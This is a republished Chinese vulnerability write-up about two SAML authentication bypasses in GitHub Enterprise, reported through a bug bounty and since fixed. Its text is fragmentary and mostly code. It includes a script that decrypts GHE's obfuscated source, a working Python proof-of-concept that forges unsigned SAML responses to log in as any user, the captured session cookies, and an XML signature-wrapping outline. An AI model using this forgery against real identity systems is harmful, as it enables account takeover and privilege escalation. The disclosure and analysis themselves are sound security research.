本文讲的是
Github Enterprise版本SAML服务两个身份认证漏洞,
在Github Enterprise版本的SAML服务中发现完全身份验证绕过的两个漏洞。作者将这些漏洞通过
hackone
的漏洞悬赏报告给Github并且已经修复。
CHECK_REQUIREMENTS = { default: {memory: 14, blockdev_capacity: 10, rootdev_capacity: 20}, }
CHECK_REQUIREMENTS = { default: {memory: 3, blockdev_capacity: 10, rootdev_capacity: 20}, }
require 'zlib' require 'fileutils' def decrypt(s) key = "This obfuscation is intended to discourage Github Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. " i, plaintext = 0, '' Zlib::Inflate.inflate(s).each_byte do |c| plaintext << (c ^ key[i%key.length].ord).chr i += 1 end plaintext end content = File.open(ARGV[0], "r").read filename = './decrypted_source/'+ARGV[0] if content.include? "ruby_concealer.so" content.sub! %Q(require "ruby_concealer.so"n__ruby_concealer__), " decrypt " plaintext = eval content dirname = File.dirname('./decrypted_source/'+ARGV[0]) unless File.directory?(dirname) FileUtils.mkdir_p(dirname) end else plaintext = content end open(filename,'w') { |f| f.puts plaintext }
find . -iname '*.rb' -exec ruby decrypt.rb '{}' ;
openssl req -nodes -x509 -newkey rsa:2048 -keyout idp.key -out idp.crt -days 3650
1. 用户访问: https://192.168.122.244 2. 由于启用了SAML身份验证,并且对Web界面的访问受到保护,GHE SAML SP构建了一个身份验证请求,并将用户重定向到IdP身份验证端点,身份验证请求结束并且将请求编码为HTTP GET参数. 3. Idp身份验证端点处理这一登录请求,如果它“知道”发出请求的用户,那么继续执行。反之,返回登录错误。 4. Idp成功认证后,构造包含认证语句以及SAMLResponse,并指示用户浏览器将其发布到GHE SAML SP的使用服务端点。 5. SAML响应的真实性以及有效性得到验证。用户从SAML断言信息的NAMEID中获取,并且SAML为用户创建session。 6. Cookie已经设置成功,同时作为已经认证的用户重定向返回https://192.168.122.244
• 外部或者内部的攻击者可以登录任意用户。 • 外部或者内部的攻击者可以建立任意用户,甚至提升权限,设置管理员属性 • 内部用户可以通过设置administrator属性,提升权限。
def get_auth_failure_result(saml_response, request, log_data) unless saml_response.in_response_to || idp_initiated_sso? || ::SAML.mocked[:skip_in_response_to_check] return Github::Authentication::Result.external_response_ignored end unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] ) log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params) return Github::Authentication::Result.failure :message => INVALID_RESPONSE end if saml_response.request_denied? log_auth_validation_event(log_data, "failure - RequestDenied", saml_response, request.params) return Github::Authentication::Result.failure :message => saml_response.status_message || REQUEST_DENIED_RESPONSE end unless saml_response.success? log_auth_validation_event(log_data, "failure - Unauthorized", saml_response, request.params) return Github::Authentication::Result.failure :message => UNAUTHORIZED_RESPONSE end if request_tracking? && !in_response_to_request?(saml_response, request) log_auth_validation_event(log_data, "failure - Unauthorized - In Response To invalid", saml_response, request.params) return Github::Authentication::Result.failure :message => UNAUTHORIZED_RESPONSE end end
unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] ) log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params) return Github::Authentication::Result.failure :message => INVALID_RESPONSE end saml_response 中的valid?方法实际上是从Message class(/lib/saml/message.rb)调用的: # Public: Validates schema and custom validations. # # Returns false if instance is invalid. #errors will be non-empty if # invalid. def valid?(options = {}) errors.clear validate_schema && validate(options) errors.empty? end
def validate(options) if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate] validate_has_signature validate_signatures(options[:idp_certificate]) end validate_issuer(options[:issuer]) validate_destination(options[:sp_url]) validate_recipient(options[:sp_url]) validate_conditions validate_audience(options[:sp_url]) validate_name_id_format(options[:name_id_format]) end
def validate(options) pp options if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate] puts 'Going to validate the signature' validate_has_signature validate_signatures(options[:idp_certificate]) end ...
{:issuer=>"https://idp.ikakavas.gr", :idp_certificate=>nil, :sp_url=>"https://192.168.122.244"}
/data/Github/current/lib/Github/authentication/saml.rb ): unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] )
# Public: Returns a string containing the IdP certificate or nil. def idp_certificate @idp_certificate ||= if configuration[:idp_certificate] configuration[:idp_certificate] elsif configuration[:idp_certificate_path] File.read(configuration[:idp_certificate_path]) end end
{:sso_url=>"http://idp.ikakavas.gr/sso", :idp_initiated_sso=>false, :disable_admin_demote=>false, :issuer=>"https://idp.ikakavas.gr", :signature_method=>"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256", :digest_method=>"http://www.w3.org/2000/09/xmldsig#sha1", :idp_certificate_file=>"/data/user/common/idp.crt", :sp_pkcs12_file=>"/data/user/common/saml-sp.p12", :admin=>nil, :profile_name=>nil, :profile_mail=>nil, :profile_key=>nil, :profile_gpg_key=>nil, :sp_url=>"https://192.168.122.244"}
import requests, urllib, zlib, base64, re, datetime, pprint from urlparse import parse_qs from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # Change this to reflect your GHE setup URL ='https://192.168.122.244/login?return_to=https%3A%2F%2F192.168.122.244%2F' ISSUER = 'https://idp.ikakavas.gr' RECIPIENT = 'https://192.168.122.244/saml/consume' AUDIENCE = 'https://192.168.122.244' # user to impersonate NAMEID = 'testuser' # Get a client that can handle cookies saml_client = requests.session() # Make the initial request to trigger the authentication middleware # Disallow redirects as we need to catch the Location header and parse it response = saml_client.get(URL, verify=False, allow_redirects=False) idp_login_url = response.headers['Location'] # Get the HTTP GET parameters as a dict saml_message = (dict([(k, v[0]) for k, v in parse_qs(idp_login_url.split("?")[1]).items()])) if 'SAMLRequest' in saml_message and 'RelayState' in saml_message: relay_state = saml_message['RelayState'] encoded_saml_request = saml_message['SAMLRequest'] # inflate and decode the request saml_request = zlib.decompress(urllib.unquote(base64.b64decode(encoded_saml_request)), -15) # get the AuthnRequest ID so that we can reply to_reply_to = re.search(r'ID="([_A-Za-z0-9]*)"', saml_request, re.M|re.I).group(1) now = '{0}Z'.format(datetime.datetime.utcnow().isoformat().split('.')[0]) not_after = '{0}Z'.format((datetime.datetime.utcnow()+ datetime.timedelta(minutes = 20)).isoformat().split('.')[0]) #Now load a dummy SAML Response from file and manipulate necessary fields saml_response ='''<?xml version="1.0" encoding="UTF-8"?> <ns0:Response Destination="{5}" ID="id-ijkXTw5GmzOJrShaq" InResponseTo="{0}" IssueInstant="{1}" Version="2.0" xmlns:ns0="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:ns1="urn:oasis:names:tc:SAML:2.0:assertion"> <ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://idp.ikakavas.gr</ns1:Issuer> <ns0:Status> <ns0:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </ns0:Status> <ns1:Assertion ID="id-MnRkvbCYnZ7YQ9vP5" IssueInstant="{1}" Version="2.0"> <ns1:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">{2}</ns1:Issuer> <ns1:Subject> <ns1:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">{3}</ns1:NameID> <ns1:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <ns1:SubjectConfirmationData InResponseTo="{0}" NotOnOrAfter="{4}" Recipient="{5}"/> </ns1:SubjectConfirmation> </ns1:Subject> <ns1:Conditions NotBefore="{1}" NotOnOrAfter="{4}"> <ns1:AudienceRestriction> <ns1:Audience>{6}</ns1:Audience> </ns1:AudienceRestriction> </ns1:Conditions> <ns1:AuthnStatement AuthnInstant="{1}" SessionIndex="id-bBMbAuaPOePnBgNTx"> <ns1:AuthnContext> <ns1:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</ns1:AuthnContextClassRef> </ns1:AuthnContext> </ns1:AuthnStatement> </ns1:Assertion> </ns0:Response>'''.format(to_reply_to, now, ISSUER, NAMEID, not_after, RECIPIENT, AUDIENCE) data = {'SAMLResponse': base64.b64encode(saml_response), 'RelayState':relay_state} #Post the SAML Response to the ACS endpoint r = saml_client.post(RECIPIENT, data=data, verify=False, allow_redirects=False) # we expect a redirect on successful authentication if 300 < r.status_code < 399: # Print the cookies for verification pprint.pprint(r.cookies.get_dict())
{'_fi_sess': 'eyJsYXN0X3dyaXRlIjoxNDg0MDY0NjMxNzU3LCJmbGFzaCI6eyJkaXNjYXJkIjpbXSwiZmxhc2hlcyI6eyJhbmFseXRpY3NfZGltZW5zaW9uIjp7Im5hbWUiOiJkaW1lbnNpb241IiwidmFsdWUiOiJMb2dnZWQgSW4ifX19LCJzZXNzaW9uX2lkIjoiMzM2OGFiYmFjOGVjMWQxNGZiYjhmNDAzMGRiNWFkZGQifQ%3D%3D--c9219c7ba29e5285a76275c2a0a5dcbb12925fcb', '_gh_render': 'BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTZlMmNjZTBmN2RjMGM3MDExMGI3%0AMzVkMjcxYjZkOGY5MTQxMTE0Yzg2NDMwOGFkM2EzZDE5OTU1MjJiMTRkMGEG%0AOwBGSSIPdXNlcl9sb2dpbgY7AEZJIg10ZXN0dXNlcgY7AFQ%3D%0A--ae525ab90dee2157dec9890cdb147c569ff5e6b8', 'dotcom_user': 'testuser', 'logged_in': 'yes', 'user_session': 'yoF_AlS0VMFsZjBzj8mLF9Wk_Ne1YpCv57y_T1rTy-FEfD_dWHUHd3pqz07hXxODk0hhms_8gVxICuBQ'}
<SAMLRespone> <FA ID="evil"> <Subject>Attacker</Subject> </FA> <LA ID="legitimate"> <Subject>Legitimate User</Subject> <LAS> <Reference Reference URI="legitimate"> </Reference> </LAS> </LA> </SAMLResponse>
def rails_authenticate(request)
saml_response = ::SAML::Message::Response.from_param(request.params[:SAMLResponse])
issuer = d.at_xpath("//Response/Issuer") && d.at_xpath("//Response/Issuer").text issuer ||= d.at_xpath("//Response/Assertion/Issuer") && d.at_xpath("//Response/Assertion/Issuer").text status_code = d.at_xpath("//Response/Status/StatusCode") second_level_status_code = d.at_xpath("//Response/Status/StatusCode/StatusCode") status_message = d.at_xpath("//Response/Status/StatusMessage") authn = d.at_xpath("//AuthnStatement") conditions = d.at_xpath("//Response/Assertion/Conditions") audience_text = d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction") && d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction/Audience") && d.at_xpath("//Response/Assertion/Conditions/AudienceRestriction/Audience").text attribute_statements = d.at_xpath("//Response/Assertion/AttributeStatement") subject = d.at_xpath("//Subject") && d.at_xpath("//Subject").text name_id = d.at_xpath("//Subject/NameID") && d.at_xpath("//Subject/NameID").text name_id_format = d.at_xpath("//Subject/NameID") && d.at_xpath("//Subject/NameID")["Format"] subj_conf_data = d.at_xpath("//Subject/SubjectConfirmation") && d.at_xpath("//Subject/SubjectConfirmation/SubjectConfirmationData")
unless saml_response.valid?( :issuer => configuration[:issuer], :idp_certificate => idp_certificate, :sp_url => configuration[:sp_url] ) log_auth_validation_event(log_data, "failure - Invalid SAML response", saml_response, request.params) return Github::Authentication::Result.failure :message => INVALID_RESPONSE end
# Public: Validates schema and custom validations. # # Returns false if instance is invalid. #errors will be non-empty if # invalid. def valid?(options = {}) errors.clear validate_schema && validate(options) errors.empty? end
def validate(options) if !SAML.mocked[:skip_validate_signature] && options[:idp_certificate] validate_has_signature validate_signatures(options[:idp_certificate]) end validate_issuer(options[:issuer]) validate_destination(options[:sp_url]) validate_recipient(options[:sp_url]) validate_conditions validate_audience(options[:sp_url]) validate_name_id_format(options[:name_id_format]) end
def validate_has_signature namespaces = { "ds" => "http://www.w3.org/2000/09/xmldsig#", "saml2p" => "urn:oasis:names:tc:SAML:2.0:protocol", "saml2" => "urn:oasis:names:tc:SAML:2.0:assertion" } unless document.at("//saml2p:Response/ds:Signature", namespaces) || document.at("//saml2p:Response/saml2:Assertion/ds:Signature", namespaces) self.errors << "Message is not signed. Either the assertion or response or both must be signed." end end
def validate_signatures(certificate) certificate = OpenSSL::X509::Certificate.new(certificate) unless signatures.all? { |signature| signature.valid?(certificate) } puts "digest mismatch" self.errors << "Digest mismatch" end end
def signatures signatures = document.xpath("//ds:Signature", Xmldsig::NAMESPACES) signatures.reverse.collect do |node| Xmldsig::Signature.new(node) end || [] end
validate_issuer(options[:issuer]) validate_destination(options[:sp_url]) validate_recipient(options[:sp_url]) validate_conditions validate_audience(options[:sp_url]) validate_name_id_format(options[:name_id_format])
1. 攻击者是使用SAML身份验证的GHE实例的现有用户。 2. 攻击者是SAML身份提供者的现有可信用户。 3. 攻击者得到有效的SAML服务的签名信息。可以使任何使用SAML服务的应用(可以是身份服务提供商日志,其他服务提供商日志,或者StackOverflow的问题,等等)
外部或内部攻击者可以进行任意用户登录 内部攻击者可以进行提升权限。
原文发布时间为:2017年3月17日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。